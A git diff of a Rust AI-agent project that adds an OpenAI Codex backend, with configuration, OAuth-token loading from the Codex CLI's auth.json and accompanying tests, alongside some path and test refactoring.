pub struct OpenAiCodexConfig {
|
||||||
|
/// Model name (default: "gpt-5.3-codex").
|
||||||
|
pub model: String,
|
||||||
|
/// Base URL. Defaults based on auth mode:
|
||||||
|
/// - API key: `https://api.openai.com/v1`
|
||||||
|
/// - OAuth: `https://chatgpt.com/backend-api/codex`
|
||||||
|
pub base_url: String,
|
||||||
|
/// API key for api.openai.com (standard billing).
|
||||||
|
pub api_key: Option<SecretString>,
|
||||||
|
/// Path to Codex CLI auth.json for OAuth tokens.
|
||||||
|
/// Default: `~/.codex/auth.json` (or `$CODEX_HOME/auth.json`).
|
||||||
|
pub auth_path: PathBuf,
|
||||||
|
/// OpenAI account ID (required for ChatGPT endpoint).
|
||||||
|
pub account_id: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
/// LLM provider configuration.
|
/// LLM provider configuration.
|
||||||
///
|
///
|
||||||
/// NEAR AI remains the default backend. Users can switch to other providers
|
/// NEAR AI remains the default backend. Users can switch to other providers
|
||||||
@@ -140,6 +149,8 @@ pub struct LlmConfig {
|
|||||||
pub openai_compatible: Option<OpenAiCompatibleConfig>,
|
pub openai_compatible: Option<OpenAiCompatibleConfig>,
|
||||||
/// Tinfoil config (populated when backend=tinfoil)
|
/// Tinfoil config (populated when backend=tinfoil)
|
||||||
pub tinfoil: Option<TinfoilConfig>,
|
pub tinfoil: Option<TinfoilConfig>,
|
||||||
|
/// OpenAI Codex config (populated when backend=openai_codex)
|
||||||
|
pub openai_codex: Option<OpenAiCodexConfig>,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// NEAR AI configuration.
|
/// NEAR AI configuration.
|
||||||
@@ -195,17 +206,6 @@ pub struct NearAiConfig {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl LlmConfig {
|
impl LlmConfig {
|
||||||
/// Resolve a model name from env var → settings.selected_model → hardcoded default.
|
|
||||||
fn resolve_model(
|
|
||||||
env_var: &str,
|
|
||||||
settings: &Settings,
|
|
||||||
default: &str,
|
|
||||||
) -> Result<String, ConfigError> {
|
|
||||||
Ok(optional_env(env_var)?
|
|
||||||
.or_else(|| settings.selected_model.clone())
|
|
||||||
.unwrap_or_else(|| default.to_string()))
|
|
||||||
}
|
|
||||||
|
|
||||||
pub(crate) fn resolve(settings: &Settings) -> Result<Self, ConfigError> {
|
pub(crate) fn resolve(settings: &Settings) -> Result<Self, ConfigError> {
|
||||||
// Determine backend: env var > settings > default (NearAi)
|
// Determine backend: env var > settings > default (NearAi)
|
||||||
let backend: LlmBackend = if let Some(b) = optional_env("LLM_BACKEND")? {
|
let backend: LlmBackend = if let Some(b) = optional_env("LLM_BACKEND")? {
|
||||||
@@ -233,7 +233,9 @@ impl LlmConfig {
|
|||||||
let nearai_api_key = optional_env("NEARAI_API_KEY")?.map(SecretString::from);
|
let nearai_api_key = optional_env("NEARAI_API_KEY")?.map(SecretString::from);
|
||||||
|
|
||||||
let nearai = NearAiConfig {
|
let nearai = NearAiConfig {
|
||||||
model: Self::resolve_model("NEARAI_MODEL", settings, "zai-org/GLM-latest")?,
|
model: optional_env("NEARAI_MODEL")?
|
||||||
|
.or_else(|| settings.selected_model.clone())
|
||||||
|
.unwrap_or_else(|| "zai-org/GLM-latest".to_string()),
|
||||||
cheap_model: optional_env("NEARAI_CHEAP_MODEL")?,
|
cheap_model: optional_env("NEARAI_CHEAP_MODEL")?,
|
||||||
base_url: optional_env("NEARAI_BASE_URL")?.unwrap_or_else(|| {
|
base_url: optional_env("NEARAI_BASE_URL")?.unwrap_or_else(|| {
|
||||||
if nearai_api_key.is_some() {
|
if nearai_api_key.is_some() {
|
||||||
@@ -274,7 +276,7 @@ impl LlmConfig {
|
|||||||
key: "OPENAI_API_KEY".to_string(),
|
key: "OPENAI_API_KEY".to_string(),
|
||||||
hint: "Set OPENAI_API_KEY when LLM_BACKEND=openai".to_string(),
|
hint: "Set OPENAI_API_KEY when LLM_BACKEND=openai".to_string(),
|
||||||
})?;
|
})?;
|
||||||
let model = Self::resolve_model("OPENAI_MODEL", settings, "gpt-4o")?;
|
let model = optional_env("OPENAI_MODEL")?.unwrap_or_else(|| "gpt-4o".to_string());
|
||||||
let base_url = optional_env("OPENAI_BASE_URL")?;
|
let base_url = optional_env("OPENAI_BASE_URL")?;
|
||||||
Some(OpenAiDirectConfig {
|
Some(OpenAiDirectConfig {
|
||||||
api_key,
|
api_key,
|
||||||
@@ -292,8 +294,8 @@ impl LlmConfig {
|
|||||||
key: "ANTHROPIC_API_KEY".to_string(),
|
key: "ANTHROPIC_API_KEY".to_string(),
|
||||||
hint: "Set ANTHROPIC_API_KEY when LLM_BACKEND=anthropic".to_string(),
|
hint: "Set ANTHROPIC_API_KEY when LLM_BACKEND=anthropic".to_string(),
|
||||||
})?;
|
})?;
|
||||||
let model =
|
let model = optional_env("ANTHROPIC_MODEL")?
|
||||||
Self::resolve_model("ANTHROPIC_MODEL", settings, "claude-sonnet-4-20250514")?;
|
.unwrap_or_else(|| "claude-sonnet-4-20250514".to_string());
|
||||||
let base_url = optional_env("ANTHROPIC_BASE_URL")?;
|
let base_url = optional_env("ANTHROPIC_BASE_URL")?;
|
||||||
Some(AnthropicDirectConfig {
|
Some(AnthropicDirectConfig {
|
||||||
api_key,
|
api_key,
|
||||||
@@ -308,7 +310,7 @@ impl LlmConfig {
|
|||||||
let base_url = optional_env("OLLAMA_BASE_URL")?
|
let base_url = optional_env("OLLAMA_BASE_URL")?
|
||||||
.or_else(|| settings.ollama_base_url.clone())
|
.or_else(|| settings.ollama_base_url.clone())
|
||||||
.unwrap_or_else(|| "http://localhost:11434".to_string());
|
.unwrap_or_else(|| "http://localhost:11434".to_string());
|
||||||
let model = Self::resolve_model("OLLAMA_MODEL", settings, "llama3")?;
|
let model = optional_env("OLLAMA_MODEL")?.unwrap_or_else(|| "llama3".to_string());
|
||||||
Some(OllamaConfig { base_url, model })
|
Some(OllamaConfig { base_url, model })
|
||||||
} else {
|
} else {
|
||||||
None
|
None
|
||||||
@@ -322,7 +324,9 @@ impl LlmConfig {
|
|||||||
hint: "Set LLM_BASE_URL when LLM_BACKEND=openai_compatible".to_string(),
|
hint: "Set LLM_BASE_URL when LLM_BACKEND=openai_compatible".to_string(),
|
||||||
})?;
|
})?;
|
||||||
let api_key = optional_env("LLM_API_KEY")?.map(SecretString::from);
|
let api_key = optional_env("LLM_API_KEY")?.map(SecretString::from);
|
||||||
let model = Self::resolve_model("LLM_MODEL", settings, "default")?;
|
let model = optional_env("LLM_MODEL")?
|
||||||
|
.or_else(|| settings.selected_model.clone())
|
||||||
|
.unwrap_or_else(|| "default".to_string());
|
||||||
let extra_headers = optional_env("LLM_EXTRA_HEADERS")?
|
let extra_headers = optional_env("LLM_EXTRA_HEADERS")?
|
||||||
.map(|val| parse_extra_headers(&val))
|
.map(|val| parse_extra_headers(&val))
|
||||||
.transpose()?
|
.transpose()?
|
||||||
@@ -344,12 +348,38 @@ impl LlmConfig {
|
|||||||
key: "TINFOIL_API_KEY".to_string(),
|
key: "TINFOIL_API_KEY".to_string(),
|
||||||
hint: "Set TINFOIL_API_KEY when LLM_BACKEND=tinfoil".to_string(),
|
hint: "Set TINFOIL_API_KEY when LLM_BACKEND=tinfoil".to_string(),
|
||||||
})?;
|
})?;
|
||||||
let model = Self::resolve_model("TINFOIL_MODEL", settings, "kimi-k2-5")?;
|
let model = optional_env("TINFOIL_MODEL")?.unwrap_or_else(|| "kimi-k2-5".to_string());
|
||||||
Some(TinfoilConfig { api_key, model })
|
Some(TinfoilConfig { api_key, model })
|
||||||
} else {
|
} else {
|
||||||
None
|
None
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let openai_codex = if backend == LlmBackend::OpenAiCodex {
|
||||||
|
let api_key = optional_env("OPENAI_CODEX_API_KEY")?.map(SecretString::from);
|
||||||
|
let model =
|
||||||
|
optional_env("OPENAI_CODEX_MODEL")?.unwrap_or_else(|| "gpt-5.3-codex".to_string());
|
||||||
|
let auth_path = optional_env("CODEX_AUTH_PATH")?
|
||||||
|
.map(PathBuf::from)
|
||||||
|
.unwrap_or_else(default_codex_auth_path);
|
||||||
|
let account_id = optional_env("OPENAI_CODEX_ACCOUNT_ID")?;
|
||||||
|
let base_url = optional_env("OPENAI_CODEX_BASE_URL")?.unwrap_or_else(|| {
|
||||||
|
if api_key.is_some() {
|
||||||
|
"https://api.openai.com/v1".to_string()
|
||||||
|
} else {
|
||||||
|
"https://chatgpt.com/backend-api/codex".to_string()
|
||||||
|
}
|
||||||
|
});
|
||||||
|
Some(OpenAiCodexConfig {
|
||||||
|
model,
|
||||||
|
base_url,
|
||||||
|
api_key,
|
||||||
|
auth_path,
|
||||||
|
account_id,
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
|
||||||
Ok(Self {
|
Ok(Self {
|
||||||
backend,
|
backend,
|
||||||
nearai,
|
nearai,
|
||||||
@@ -358,6 +388,7 @@ impl LlmConfig {
|
|||||||
ollama,
|
ollama,
|
||||||
openai_compatible,
|
openai_compatible,
|
||||||
tinfoil,
|
tinfoil,
|
||||||
|
openai_codex,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -396,9 +427,55 @@ fn parse_extra_headers(val: &str) -> Result<Vec<(String, String)>, ConfigError>
|
|||||||
Ok(headers)
|
Ok(headers)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Get the default Codex CLI auth.json path.
|
||||||
|
///
|
||||||
|
/// Respects `$CODEX_HOME` if set, otherwise defaults to `~/.codex/auth.json`.
|
||||||
|
fn default_codex_auth_path() -> PathBuf {
|
||||||
|
if let Ok(codex_home) = std::env::var("CODEX_HOME") {
|
||||||
|
return PathBuf::from(codex_home).join("auth.json");
|
||||||
|
}
|
||||||
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".codex")
|
||||||
|
.join("auth.json")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Extract an OAuth access token from a Codex CLI `auth.json` file.
|
||||||
|
///
|
||||||
|
/// Tries fields in order: `tokens.access_token`, `token`, `api_key`, `access_token`.
|
||||||
|
/// Returns `None` on any failure (file not found, parse error, no matching field).
|
||||||
|
pub fn extract_codex_oauth_token(auth_path: &std::path::Path) -> Option<String> {
|
||||||
|
let content = std::fs::read_to_string(auth_path).ok()?;
|
||||||
|
let json: serde_json::Value = serde_json::from_str(&content).ok()?;
|
||||||
|
|
||||||
|
// Try nested tokens.access_token first (Codex CLI format)
|
||||||
|
if let Some(token) = json
|
||||||
|
.get("tokens")
|
||||||
|
.and_then(|t| t.get("access_token"))
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
&& !token.is_empty()
|
||||||
|
{
|
||||||
|
return Some(token.to_string());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try top-level fields
|
||||||
|
for field in &["token", "api_key", "access_token"] {
|
||||||
|
if let Some(val) = json.get(field).and_then(|v| v.as_str())
|
||||||
|
&& !val.is_empty()
|
||||||
|
{
|
||||||
|
return Some(val.to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
/// Get the default session file path (~/.ironclaw/session.json).
|
/// Get the default session file path (~/.ironclaw/session.json).
|
||||||
fn default_session_path() -> PathBuf {
|
fn default_session_path() -> PathBuf {
|
||||||
ironclaw_base_dir().join("session.json")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("session.json")
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
@@ -531,79 +608,166 @@ mod tests {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Clear all ollama-related env vars.
|
/// Clear codex-related env vars for testing.
|
||||||
fn clear_ollama_env() {
|
fn clear_codex_env() {
|
||||||
// SAFETY: Only called under ENV_MUTEX in tests.
|
// SAFETY: Only called under ENV_MUTEX in tests.
|
||||||
unsafe {
|
unsafe {
|
||||||
std::env::remove_var("LLM_BACKEND");
|
std::env::remove_var("LLM_BACKEND");
|
||||||
std::env::remove_var("OLLAMA_BASE_URL");
|
std::env::remove_var("OPENAI_CODEX_API_KEY");
|
||||||
std::env::remove_var("OLLAMA_MODEL");
|
std::env::remove_var("OPENAI_CODEX_MODEL");
|
||||||
|
std::env::remove_var("OPENAI_CODEX_BASE_URL");
|
||||||
|
std::env::remove_var("OPENAI_CODEX_ACCOUNT_ID");
|
||||||
|
std::env::remove_var("CODEX_AUTH_PATH");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn ollama_uses_selected_model_when_ollama_model_unset() {
|
fn codex_defaults_model_and_oauth_base_url() {
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
||||||
clear_ollama_env();
|
clear_codex_env();
|
||||||
|
|
||||||
let settings = Settings {
|
let settings = Settings {
|
||||||
llm_backend: Some("ollama".to_string()),
|
llm_backend: Some("openai_codex".to_string()),
|
||||||
selected_model: Some("llama3.2".to_string()),
|
|
||||||
..Default::default()
|
..Default::default()
|
||||||
};
|
};
|
||||||
|
|
||||||
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
||||||
let ollama = cfg.ollama.expect("ollama config should be present");
|
let codex = cfg.openai_codex.expect("codex config should be present");
|
||||||
|
|
||||||
assert_eq!(ollama.model, "llama3.2");
|
assert_eq!(codex.model, "gpt-5.3-codex");
|
||||||
|
// No API key → OAuth mode → ChatGPT base URL
|
||||||
|
assert!(codex.api_key.is_none());
|
||||||
|
assert_eq!(codex.base_url, "https://chatgpt.com/backend-api/codex");
|
||||||
|
assert!(codex.auth_path.to_string_lossy().contains("auth.json"));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn ollama_model_env_overrides_selected_model() {
|
fn codex_api_key_sets_openai_base_url() {
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
||||||
clear_ollama_env();
|
clear_codex_env();
|
||||||
// SAFETY: Under ENV_MUTEX.
|
// SAFETY: Under ENV_MUTEX.
|
||||||
unsafe {
|
unsafe {
|
||||||
std::env::set_var("OLLAMA_MODEL", "mistral:latest");
|
std::env::set_var("OPENAI_CODEX_API_KEY", "sk-test-key");
|
||||||
}
|
}
|
||||||
|
|
||||||
let settings = Settings {
|
let settings = Settings {
|
||||||
llm_backend: Some("ollama".to_string()),
|
llm_backend: Some("openai_codex".to_string()),
|
||||||
selected_model: Some("llama3.2".to_string()),
|
|
||||||
..Default::default()
|
..Default::default()
|
||||||
};
|
};
|
||||||
|
|
||||||
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
||||||
let ollama = cfg.ollama.expect("ollama config should be present");
|
let codex = cfg.openai_codex.expect("codex config should be present");
|
||||||
|
|
||||||
assert_eq!(ollama.model, "mistral:latest");
|
assert!(codex.api_key.is_some());
|
||||||
|
assert_eq!(codex.base_url, "https://api.openai.com/v1");
|
||||||
|
|
||||||
// SAFETY: Under ENV_MUTEX.
|
// Cleanup
|
||||||
unsafe {
|
unsafe {
|
||||||
std::env::remove_var("OLLAMA_MODEL");
|
std::env::remove_var("OPENAI_CODEX_API_KEY");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn openai_compatible_preserves_dotted_model_name() {
|
fn codex_env_vars_override_defaults() {
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
||||||
clear_openai_compatible_env();
|
clear_codex_env();
|
||||||
|
// SAFETY: Under ENV_MUTEX.
|
||||||
|
unsafe {
|
||||||
|
std::env::set_var("OPENAI_CODEX_MODEL", "gpt-5.1-codex");
|
||||||
|
std::env::set_var("OPENAI_CODEX_BASE_URL", "https://custom.example.com/v1");
|
||||||
|
std::env::set_var("OPENAI_CODEX_ACCOUNT_ID", "acct_123");
|
||||||
|
std::env::set_var("CODEX_AUTH_PATH", "/tmp/test-auth.json");
|
||||||
|
}
|
||||||
|
|
||||||
let settings = Settings {
|
let settings = Settings {
|
||||||
llm_backend: Some("openai_compatible".to_string()),
|
llm_backend: Some("openai_codex".to_string()),
|
||||||
openai_compatible_base_url: Some("http://localhost:11434/v1".to_string()),
|
|
||||||
selected_model: Some("llama3.2".to_string()),
|
|
||||||
..Default::default()
|
..Default::default()
|
||||||
};
|
};
|
||||||
|
|
||||||
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
||||||
let compat = cfg
|
let codex = cfg.openai_codex.expect("codex config should be present");
|
||||||
.openai_compatible
|
|
||||||
.expect("openai-compatible config should be present");
|
|
||||||
|
|
||||||
|
assert_eq!(codex.model, "gpt-5.1-codex");
|
||||||
|
assert_eq!(codex.base_url, "https://custom.example.com/v1");
|
||||||
|
assert_eq!(codex.account_id.as_deref(), Some("acct_123"));
|
||||||
assert_eq!(
|
assert_eq!(
|
||||||
compat.model, "llama3.2",
|
codex.auth_path,
|
||||||
"model name with dot must not be truncated"
|
std::path::PathBuf::from("/tmp/test-auth.json")
|
||||||
);
|
);
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
unsafe {
|
||||||
|
std::env::remove_var("OPENAI_CODEX_MODEL");
|
||||||
|
std::env::remove_var("OPENAI_CODEX_BASE_URL");
|
||||||
|
std::env::remove_var("OPENAI_CODEX_ACCOUNT_ID");
|
||||||
|
std::env::remove_var("CODEX_AUTH_PATH");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn codex_not_populated_for_other_backends() {
|
||||||
|
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
||||||
|
clear_codex_env();
|
||||||
|
|
||||||
|
let settings = Settings {
|
||||||
|
llm_backend: Some("nearai".to_string()),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
|
||||||
|
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
||||||
|
assert!(cfg.openai_codex.is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_extract_codex_oauth_token_nested() {
|
||||||
|
let dir = std::env::temp_dir().join("ironclaw-test-codex");
|
||||||
|
let _ = std::fs::create_dir_all(&dir);
|
||||||
|
let path = dir.join("auth-nested.json");
|
||||||
|
std::fs::write(
|
||||||
|
&path,
|
||||||
|
r#"{"tokens":{"access_token":"oauth-tok-123","refresh_token":"rt_456"}}"#,
|
||||||
|
)
|
||||||
|
.expect("write test file");
|
||||||
|
|
||||||
|
let token = extract_codex_oauth_token(&path);
|
||||||
|
assert_eq!(token, Some("oauth-tok-123".to_string()));
|
||||||
|
|
||||||
|
let _ = std::fs::remove_file(&path);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_extract_codex_oauth_token_flat() {
|
||||||
|
let dir = std::env::temp_dir().join("ironclaw-test-codex");
|
||||||
|
let _ = std::fs::create_dir_all(&dir);
|
||||||
|
let path = dir.join("auth-flat.json");
|
||||||
|
std::fs::write(&path, r#"{"token":"flat-tok-789"}"#).expect("write test file");
|
||||||
|
|
||||||
|
let token = extract_codex_oauth_token(&path);
|
||||||
|
assert_eq!(token, Some("flat-tok-789".to_string()));
|
||||||
|
|
||||||
|
let _ = std::fs::remove_file(&path);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_extract_codex_oauth_token_missing_file() {
|
||||||
|
let path = std::path::Path::new("/tmp/ironclaw-nonexistent-auth.json");
|
||||||
|
assert!(extract_codex_oauth_token(path).is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_extract_codex_oauth_token_empty_fields() {
|
||||||
|
let dir = std::env::temp_dir().join("ironclaw-test-codex");
|
||||||
|
let _ = std::fs::create_dir_all(&dir);
|
||||||
|
let path = dir.join("auth-empty.json");
|
||||||
|
std::fs::write(
|
||||||
|
&path,
|
||||||
|
r#"{"tokens":{"access_token":""},"token":"","api_key":""}"#,
|
||||||
|
)
|
||||||
|
.expect("write test file");
|
||||||
|
|
||||||
|
let token = extract_codex_oauth_token(&path);
|
||||||
|
assert!(token.is_none());
|
||||||
|
|
||||||
|
let _ = std::fs::remove_file(&path);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-3
@@ -32,13 +32,13 @@ use crate::settings::Settings;
|
|||||||
pub use self::agent::AgentConfig;
|
pub use self::agent::AgentConfig;
|
||||||
pub use self::builder::BuilderModeConfig;
|
pub use self::builder::BuilderModeConfig;
|
||||||
pub use self::channels::{ChannelsConfig, CliConfig, GatewayConfig, HttpConfig, SignalConfig};
|
pub use self::channels::{ChannelsConfig, CliConfig, GatewayConfig, HttpConfig, SignalConfig};
|
||||||
pub use self::database::{DatabaseBackend, DatabaseConfig, SslMode, default_libsql_path};
|
pub use self::database::{DatabaseBackend, DatabaseConfig, default_libsql_path};
|
||||||
pub use self::embeddings::EmbeddingsConfig;
|
pub use self::embeddings::EmbeddingsConfig;
|
||||||
pub use self::heartbeat::HeartbeatConfig;
|
pub use self::heartbeat::HeartbeatConfig;
|
||||||
pub use self::hygiene::HygieneConfig;
|
pub use self::hygiene::HygieneConfig;
|
||||||
pub use self::llm::{
|
pub use self::llm::{
|
||||||
AnthropicDirectConfig, LlmBackend, LlmConfig, NearAiConfig, OllamaConfig,
|
AnthropicDirectConfig, LlmBackend, LlmConfig, NearAiConfig, OllamaConfig, OpenAiCodexConfig,
|
||||||
OpenAiCompatibleConfig, OpenAiDirectConfig, TinfoilConfig,
|
OpenAiCompatibleConfig, OpenAiDirectConfig, TinfoilConfig, extract_codex_oauth_token,
|
||||||
};
|
};
|
||||||
pub use self::routines::RoutineConfig;
|
pub use self::routines::RoutineConfig;
|
||||||
pub use self::safety::SafetyConfig;
|
pub use self::safety::SafetyConfig;
|
||||||
@@ -220,6 +220,7 @@ pub async fn inject_llm_keys_from_secrets(
|
|||||||
("llm_anthropic_api_key", "ANTHROPIC_API_KEY"),
|
("llm_anthropic_api_key", "ANTHROPIC_API_KEY"),
|
||||||
("llm_compatible_api_key", "LLM_API_KEY"),
|
("llm_compatible_api_key", "LLM_API_KEY"),
|
||||||
("llm_nearai_api_key", "NEARAI_API_KEY"),
|
("llm_nearai_api_key", "NEARAI_API_KEY"),
|
||||||
|
("llm_codex_api_key", "OPENAI_CODEX_API_KEY"),
|
||||||
];
|
];
|
||||||
|
|
||||||
let mut injected = HashMap::new();
|
let mut injected = HashMap::new();
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
||||||
use crate::error::ConfigError;
|
use crate::error::ConfigError;
|
||||||
|
|
||||||
@@ -35,12 +34,18 @@ impl Default for SkillsConfig {
|
|||||||
|
|
||||||
/// Get the default user skills directory (~/.ironclaw/skills/).
|
/// Get the default user skills directory (~/.ironclaw/skills/).
|
||||||
fn default_skills_dir() -> PathBuf {
|
fn default_skills_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("skills")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("skills")
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Get the default installed skills directory (~/.ironclaw/installed_skills/).
|
/// Get the default installed skills directory (~/.ironclaw/installed_skills/).
|
||||||
fn default_installed_skills_dir() -> PathBuf {
|
fn default_installed_skills_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("installed_skills")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("installed_skills")
|
||||||
}
|
}
|
||||||
|
|
||||||
impl SkillsConfig {
|
impl SkillsConfig {
|
||||||
|
|||||||
+4
-2
@@ -1,7 +1,6 @@
|
|||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
||||||
use crate::error::ConfigError;
|
use crate::error::ConfigError;
|
||||||
|
|
||||||
@@ -40,7 +39,10 @@ impl Default for WasmConfig {
|
|||||||
|
|
||||||
/// Get the default tools directory (~/.ironclaw/tools/).
|
/// Get the default tools directory (~/.ironclaw/tools/).
|
||||||
fn default_tools_dir() -> PathBuf {
|
fn default_tools_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("tools")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("tools")
|
||||||
}
|
}
|
||||||
|
|
||||||
impl WasmConfig {
|
impl WasmConfig {
|
||||||
|
|||||||
@@ -323,171 +323,4 @@ mod tests {
|
|||||||
let context = manager.get_context(job_id).await.unwrap();
|
let context = manager.get_context(job_id).await.unwrap();
|
||||||
assert_eq!(context.state, crate::context::JobState::InProgress);
|
assert_eq!(context.state, crate::context::JobState::InProgress);
|
||||||
}
|
}
|
||||||
|
|
||||||
// === QA Plan P3 - 4.2: Concurrent job stress tests ===
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_creates_produce_unique_ids() {
|
|
||||||
let manager = std::sync::Arc::new(ContextManager::new(100));
|
|
||||||
|
|
||||||
let handles: Vec<_> = (0..50)
|
|
||||||
.map(|i| {
|
|
||||||
let mgr = std::sync::Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move {
|
|
||||||
mgr.create_job(format!("Job {i}"), format!("Desc {i}"))
|
|
||||||
.await
|
|
||||||
})
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let mut ids = std::collections::HashSet::new();
|
|
||||||
for handle in handles {
|
|
||||||
let result = handle.await.expect("task should not panic");
|
|
||||||
let job_id = result.expect("create_job should succeed");
|
|
||||||
assert!(ids.insert(job_id), "Duplicate job ID: {job_id}");
|
|
||||||
}
|
|
||||||
|
|
||||||
assert_eq!(ids.len(), 50);
|
|
||||||
assert_eq!(manager.all_jobs().await.len(), 50);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_creates_respect_max_jobs_limit() {
|
|
||||||
// max_jobs = 5, but create_job only counts *active* jobs (InProgress).
|
|
||||||
// Pending jobs don't count against the limit, so we need to transition them.
|
|
||||||
let manager = std::sync::Arc::new(ContextManager::new(5));
|
|
||||||
|
|
||||||
// First, create 5 jobs and make them active.
|
|
||||||
for i in 0..5 {
|
|
||||||
let id = manager
|
|
||||||
.create_job(format!("Job {i}"), "desc")
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
manager
|
|
||||||
.update_context(id, |ctx| {
|
|
||||||
ctx.transition_to(crate::context::JobState::InProgress, None)
|
|
||||||
})
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Now try to create 10 more concurrently -- all should fail.
|
|
||||||
let handles: Vec<_> = (0..10)
|
|
||||||
.map(|i| {
|
|
||||||
let mgr = std::sync::Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move { mgr.create_job(format!("Overflow {i}"), "desc").await })
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
for handle in handles {
|
|
||||||
let result = handle.await.expect("task should not panic");
|
|
||||||
assert!(
|
|
||||||
matches!(result, Err(JobError::MaxJobsExceeded { .. })),
|
|
||||||
"Expected MaxJobsExceeded, got: {:?}",
|
|
||||||
result
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Still exactly 5 jobs.
|
|
||||||
assert_eq!(manager.all_jobs().await.len(), 5);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_creates_and_reads_no_corruption() {
|
|
||||||
let manager = std::sync::Arc::new(ContextManager::new(100));
|
|
||||||
|
|
||||||
// Spawn writers that create jobs.
|
|
||||||
let writer_handles: Vec<_> = (0..20)
|
|
||||||
.map(|i| {
|
|
||||||
let mgr = std::sync::Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move {
|
|
||||||
mgr.create_job_for_user(
|
|
||||||
format!("user-{}", i % 5),
|
|
||||||
format!("Job {i}"),
|
|
||||||
format!("Description for job {i}"),
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
})
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
// Concurrently, spawn readers that list jobs.
|
|
||||||
let reader_handles: Vec<_> = (0..20)
|
|
||||||
.map(|_| {
|
|
||||||
let mgr = std::sync::Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move {
|
|
||||||
let _all = mgr.all_jobs().await;
|
|
||||||
let _active = mgr.active_jobs().await;
|
